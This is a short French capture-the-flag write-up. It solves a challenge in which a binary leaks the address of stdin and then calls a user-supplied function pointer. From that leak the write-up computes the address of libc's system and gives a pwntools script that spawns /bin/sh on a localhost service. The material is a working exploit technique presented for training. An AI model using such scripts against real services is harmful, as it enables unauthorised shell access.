On commence par analyser l’extrait de code source donné dans call-me-blah.c
.
On observe que le binaire :
- affiche l’adresse pointée par
stdin
,printf("%p\n", stdin);
- demande l’adresse d’une fonction
call_me
,void (*call_me)(char *); if (scanf("%zd%*c", (ssize_t *)&call_me) != 1) {
- demande une chaîne de caractères qui sera passée en argument à
call_me
:char blah[32]; if (fgets(blah, sizeof(blah), stdin) == NULL) { // ... } call_me(blah);
Une manière de résoudre cette épreuve pour obtenir un shell est d’arriver à
appeler system("/bin/sh")
, donc nous avons besoin de l’adresse de la fonction
system
.
Or, nous connaissons l’adresse de stdin
qui est un élément dans libc-2.36.so
.
Une analyse statique (objdump, Ghidra…) de cette bibliothèque dynamique permet
de trouver l’offset de _IO_2_1_stdin_
(pointé par stdin
) et de system
.
Donc l’adresse de system
est stdin_addr - 0x1d2a80 + 0x4c490
.
Nous écrivons le script Python suivant :
from pwn import *
r = remote("localhost", 4000)
stdin_addr = int(r.recvline().strip().decode(), 0)
system_addr = stdin_addr - 0x1d2a80 + 0x4c490
r.sendline(f"{system_addr}".encode())
r.sendline(b"/bin/sh")
r.interactive()